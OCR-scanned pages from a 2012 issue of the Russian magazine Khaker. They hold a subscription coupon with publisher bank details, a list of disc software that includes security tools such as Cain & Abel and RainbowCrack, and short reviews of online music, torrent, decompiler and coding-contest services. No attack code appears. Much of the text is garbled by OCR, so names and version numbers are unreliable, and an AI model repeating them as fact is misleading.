ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ НА ЖУРНАЛ - ХАКЕР .
D D
на на
6 месяцев 12 месяцев
начиная с
D
_ _ _ _ _ _ _ _ 201
Извещение г.
ИНН
7729410015
000
" Гейм Лэнд »
ОДА « Нордеа Банк », г. Москва
Доставлять ~рнал по почте
р/с
N. 40702810509000132297
кJc
N. 301 01 В1 0900000000990
на домашнии адрес
БИК
Доставлять журнал курьером:
D D
044583990
КПП
на адрес офиса *
Плательщик
на домашний адрес**
Адрес (с индексом)
(отметь квадрат выбр а нно го варианта подписки )
Назначение платежа Оплата журнала
Ф . И .О.
Сумма
«._ _ _ _ _ _ _.»
2012 г.
С
Кассир
770401001
Ф. И . О. Подпись плательщика
АДРЕС ДОСТАВКИ: индекс
Квитанция
облаcnJкрай
ИНН
ГОРОд
000
р/с
N. 40702810509000132297
кJc
N. 30101810900000000990
улица дом
корпус
БИК
квартира/ОФис
телedюн
7729410015
" Гейм Лэнд »
ОДА « Нордеа Банк» , г. Москва
044583990
КПП
770401001
Плательщик
(
Адрес (с индексом)
e-mail сумма оплаты
Назначение платежа
* 8 сеободном поле ухажи назва ние фи рм ы
Оплата журнала
и дpyryю необходимую информа цию
«._ _
.. 8 свободно м поле укажи другую н еобходимуlO информ ацию С
и альтернати в н ый ва риант доста вки 8 случ ае отсутств ия дом а
Iсвободное поле
Ф.И.О.
Кассир
Подпись плательщика
Сумма
_
_ _ _ _.» 2012г.
Bluefish 2.2.0 Buildbot 0.8.5 Codelite 3.0.0.5041 Eigen 3.0.4 Erie 5.1.7 Fastutil 6.4.2 Getid31.9.2 Gra10.8 Ideaie 11 Lazarus 0.9.30.2 Libgreneode 3.2.0 Libutille!)' 1.7.0 Llvm 3.0 Odbe~~ 1.6 Pantheios 1.0.1Ь213 Souгcesguare 23122011 Te~df 5.9.141 Т exHokenizer 0.4.5 Ultimate~~ 4193
>Misc
1.24 Reeorder 1.4.0.4
Remote Potato 1.0.6 The E-Mail Client 1.03
Remote Desktop Manager
>Net Comodo Unite 3.0.2.0 Ft~Use 2.0 Image Pieker 1.0.0 Ins1ne 0.9.5 Joukuu Lite 1.3.3.3 Kum051ne 1.1.1 Mikogo 4.0 MultiMi 0.9.29
PhotoLikr 1.2 Screenpresso 1.3.0 5ubIight 3.0.0 Trout 1.0.6 UMPla1er 0.98 Vide05~in 2.0 VirtualDub 1.10.1 YACReader 0.4.0
N e~llex 5сгееn
МооО AudioT1~eConverter
Antenna 1.5.0 Artweaver Free 3.0.1 Avidemux 2.5.5 Cam5tudio 2.0 GгееnFогсе-Рlа1ег 1.11 Jing
>Multimedia
Gizmo Т oolbar 2.5.0 N~~00e5hare 0.1 50da з о PoF Reader Tiles 0.98 Window51ider 0.3 XWidget 1.2.3
gBurner Viгtual Dгive 3.1
Coolbarz 0.1.6.7 oietation Рго 0.91 Exeeutor 0.99.11 FoeusWriter 1.3.5.1
Cli~board 5ауег
7Files 0.3 85tart 3.0 beWebCam 2.1.0.3 Cath1 2.28.3
Auto~s1 3 . 0.0Ь2
Data Recove[1 Professional
Artille!)' 0.2 AI~ha
Auto~s1 З.О.ОЬ2
Bokken 1.5 C5RF5eanner 1.0 ELFkiekers 3.0 Etteгca~ 0.7.4 Fwsnort 1.6.1 Gnutls 3.0.9 Kee~ass 2.17 Mod5eeuri!): 2.6.3-гс1 O~endnssee 1.3.4 Radare2 0.9 5tunnel 4.50
OarktabIe 0.9.3 Dupeguru me 6.2.0 Ffm~eg 0.9 Gnomesubtitles 1.2 Lives 1.4.9 Nightingale 1.8.1 Pdfmasher 0.6.3 Qtraetor 0.5.2 ах11 grab 0.2.6 Razor-gt 0.4 Smillaenlarqer 0.9.0
Ang!)'i~ 3.0Ь6
Cinepaint 1.0
Android WebContentResolver
Bluetile 0.6 Bombonodvd 1.2.0 Calibre 0.8.31
1.0-гс1
>Secuгity
Androguard
>Desktop
BabeI1.3.0 Bitflu 1.39 Clawsmail 3.8.0 oeluge 1.3.3 Emesene 2.11.11 Getmail 4.24.0 Gnunet 0.9.0 Jitsi 1.0Ы Movgrab 1.1.5 Mulk 0.6.0 O~eгa 11.60 Pidgin 2.10.1 Quamaehi 0.6.0 auban 0.2.2 5urrogalier 1.9.1Ь X~lieo 0.7.0
Adeh~~ 2.8.0 Ahe~d 0.53
>Net
Eternallands 1.9.2 Gigalomania 0.21 Pioneer al~ha17
»UNIX
WinArchiver Virtual Orive 2.7
Win7AudioSwitcher
05FMount 1.5.1008 Pateh М1 РС 2.0.6.3 RMPre~U5B 2.1.630 5aBaeku~ 0.9.3.3 Т raek Folder Changes 1.1
iPadian
iCaгe
1.10 074.9.6 oiskAlarm 1.2.4370 ois~la1Fusion 3.4.0 Gow 0.5.0
Cli~boardie
>System AllDff 3.4 Blue5taeks
Х55ег у1.6Ь
Radare2 0.9 RainbowCraek 1.5 5cгa~1 0.14 55L1ze 0.3 The Mole 0.2.6 Т oolwiz Саге 1.0 Wavse~ 1.1.0 WeBaCoo 0.2 WinAPIOverride32 5.5.3
05~11.10.4
IDCTL Fuzzer 1.3 M1sglPasswordAuditor 1.0 Net25harePwn 1.0Ь NTO saL Invader
Identity Finder Immunity Oebugger 1.84
Eeho Mirage 1.2 Etteгca~ 0.7.4 Heimdal
Cain & Abel 4.9.43 Comodo Cleaning Essentials 1.6
>Games
>Seгver
>Dеуе1
>Securit}:
Aetivit1 Monitor 1.05 Artille!)' 0.2
Task Coaeh 1.3.3 Time Out 1.6.3 Уох 0.3 beta 1 XnViewMP 0.39
Soundcloud Downloader 2.0
oeskto~5helves 1.4.2 OiffMerge 3.3.2 du~eGuru МЕ 6.2.0 Eas1Find 4.8.1 Folx 2.0.1028 keka 0.1.4.3 Lion 5ecгets 1.2.0 Mini уМае 3.2.3 Mixxx 1.9.2 5harelt 1.0
ArgoUML 0.34 CoRo 0.5.5
»МАС
Linux Mint 12 Plsense 2.0.1
>X·Distr
XI86-video-ati 6.14.3 Zsh 4.3.14
T~e-Ikm
Rtirg 20111007 5ali 2.4.11
Rpmerizor 2.6
Linux 3.1.6 Nxlog 1.2.494 Pam mount 2.13 Powerto~ 1.8 aemu 1.0
К;;;Q(jJ
,51slem Boehs 2.5 Cemosshe 11.12.06 Oebreate 0.7.7
~3.3 Vsft~d 2.3.5
Ооуеео! 2.0.16 Freeradius 2.1.12 Lightt~d 1.4.30 M1sgI5.5.19 Nsd 3.2.9 O~enlda~ 2.4.28 O~eny~n 2.2.2 Postfix 2.8.7 Postgresgl 9.1.2 Pure-ft~d 1.0.35 5amba 3.6.1 5endmaiI8.14.5 5nог! 2.9.2 5glite 3.7.9 5guid 3.1.18
Ohe~ 4.2.3-~1
~
A~aehe 2.2.21 Asterisk 10.0.0 Bind 9.8.1-~1
Х55ег у1.6Ь
dotPeek 1.0 Ex~eг! Oebugger 3.2 FMOO Ех 4.38.05 JoeBlogs 1.0 MiniFuzz 1.5.5.0 NVIDIA Parallel Nsight 2.1 NVIDIA PerfKit 6.70 Pe5tudio 3.54 auiekPHP 1.14.0 auiekShar~ 2.0 Resouгce .NET 3.0 5aL Prom~t 5.2 XOebug 2.1.2
The Mole 0.2.6
BinScop:e 8ina[Y Anal~zer 0.0.1
Тixati 1.74 WebReader 0.8.80 beta WLAN O~timizer 0.21 Уооnо deskto~ 1.8.16
XssScanner 1.1
>Develop:ment
5weethome3d 3.3 51nfig 0.63.03 Veusz 1.14
»WINDOWS
Adventure Game 5tudio 3.2.1 Bateh Com~iler 1.0
- 11
0'- _ tjeM· , - - _ _ _ _ ....... II _ _ _ ••
-
_'_010:-''Il001_' '_'_ _ __ _ .... _ _ .. _ ...........___ ,_ _ _ ,.-.........._ _,n"I,._ ~--~
... _"'... _""' ..... '''' .... _111')_' __ ••
--
.. ,-'-""' .... ..,'I,~..... а
Аксессуары
~ . '~
._-.....--
а'-- -'-
ДЛЯ
МУ З blка бесплатно
BitLet.org ...........
....i'J (J
z-music.org Пятнадцать треков в день - ровно ст·олько позволяет прослушать без приобрете ния премиального аккаунта когда-то бесплатный prostopleer.com . Z-music - зто его полный аналог, который пока находится в с т адии становления и никаких денежек не берет. Поэтому ты можешь без каких-либо ограничений искать музыку, слушать ее онлайн и загружать себе на диск. Источником музыки , как и в случае с
com,
prostopleer.
являются социальные сети, куда пользователи пока без всякого зазрения совести
терабайтами заливают треки.
агрегирует песни, которые находятся в ротации
Z-music
популярных радиостанций, и позволяет удобно прослушивать треки из эфира, скажем , радио
Maximum.
.:1,,'1' bitlet.org
Полноценный торрент-клиент, работающий в браузере. Он используется точно так же , как и любая десктопная программа. Выбери tоггепt-файл на диске или укажи Со ру
t he torrent metafile URL and
р ге"
Download torrent
Код
BitLet
полностью написан на
установлен плагин
'3- 11Ie I" IЩ: "'"-У . s.uon 5· IКur.lJ ·~,Ru]
'"
'"
~ с1.php?I.]1ЗI60)
s
. •
~
URL
файла , задай место для сохранения данных и наблюдай за неторопливой загрузкой.
Java УМ.
Java,
поэтому для его работы в браузере должен быть
Скорость загрузки, однако, очень непредсказуема и ино
гда оставляет желать лучшего. В этом случае можно попробовать другой достойный
онлайн-клиент для сети ВitТоггепt -
torrific alpha Iwww.torrific.com l. Правда, бес п лат
ный аккаунт позволяет загрузить всего несколько гигабайт данных.
ВitТоггепt-клиентонлайн
SHOWMYCODE ShOWMyCode8
www.showmycode.com Как декомпилировать СLАSS-файлы , чтобы достать исходный код из Jаvа-бинарника? Как получить оригинальные РНР-файлы, которые были пропущены через криптор
5how
Му
Code Is
а
Free Onllne Decoder I Decompller
Zепd
Guard?
Как вытащить АсtiопSсгiрt-код из флешового swf-файла? С помощью чего
декомпилировать .NЕТ-приложение и иэвлечь его сорцы на С#, Оесode and get 50urce of рпр fdes encoded wrth Zend Guard Тhis PfOCISS alS(l cгlled dezlf'lding and lh, programcalleddezender(de.zander), 50, dezend рЬр liles and gellhe source code!
For Zend Guard encoded php, JAVA CI15', Adobe Aash swf, .NEТ (OoINet) and QR barcodes. 00 you haY8: • РНР IiJe encoded VМh Zend Guard? • Ora Jaoia cla.s?
• or дdobe l ash swn
1
J;>y.
• Or .....n .NEТ appflCation?
Decomptle jWOJ CLASS liles аnd ';мt SOUICI Сodе IП аеха ReconitNCt Ihe Onginal SOUfce code kom thecompiledbinary
Visual
Visual Basic .NET, J#, .NET? На все эти вопросы можно дать один ответ- попробовать онлайн ShowMyCode. По сути, это обертка для Java Decompiler, SWF Decompiler, Dis#
С++
сервис
и други х узкоспециализированны х stапd-аlопе-приложений, которые можно было бы использовать в этих случаях . В качестве бонуса
ShowMyCode
предлагает анализатор
QR-KOAOB .
Уни в ерсаЛЬНbI й декомп илятор
INTERVIEW STREET Stce lll wl'bF""'"
Slpl"wltbGoacle
www. iпtег v iеwstгееt . соm
Сборник любопытных задачек для программистов с автоматической системой про
Work for the best hacker-friendly companies
Dropbox
tЩbtW
~ ADDfPAR ~p
Justln.tv
O mem,ql
facebook ~ WeebIY
Scribd. DISGUS
верки решения. Предложив решение на одном из 11 языков IС++, Python, РНР, Java и т. A.I, можно легко попасть на работу в Силиконовую долину. Дело в том, что Interview Street сотрудничает с крупнейшими IТ-компаниями [например, с Facebook и Amazonl, подгоняя им наиболее талантливых программистов. Это такой бизнес. Interview Street включает всех программистов, решающих задачки, в большую базу и получает $10000 за каждого принятого на работу. Благодаря такому подходу начинающая индийская компания уже неплохо зарабатывает.
Онлайн-олимпиада для программист о в
ХАКЕР
02/157/2012
.,,\
@lill Lang uage ?:::
""
English J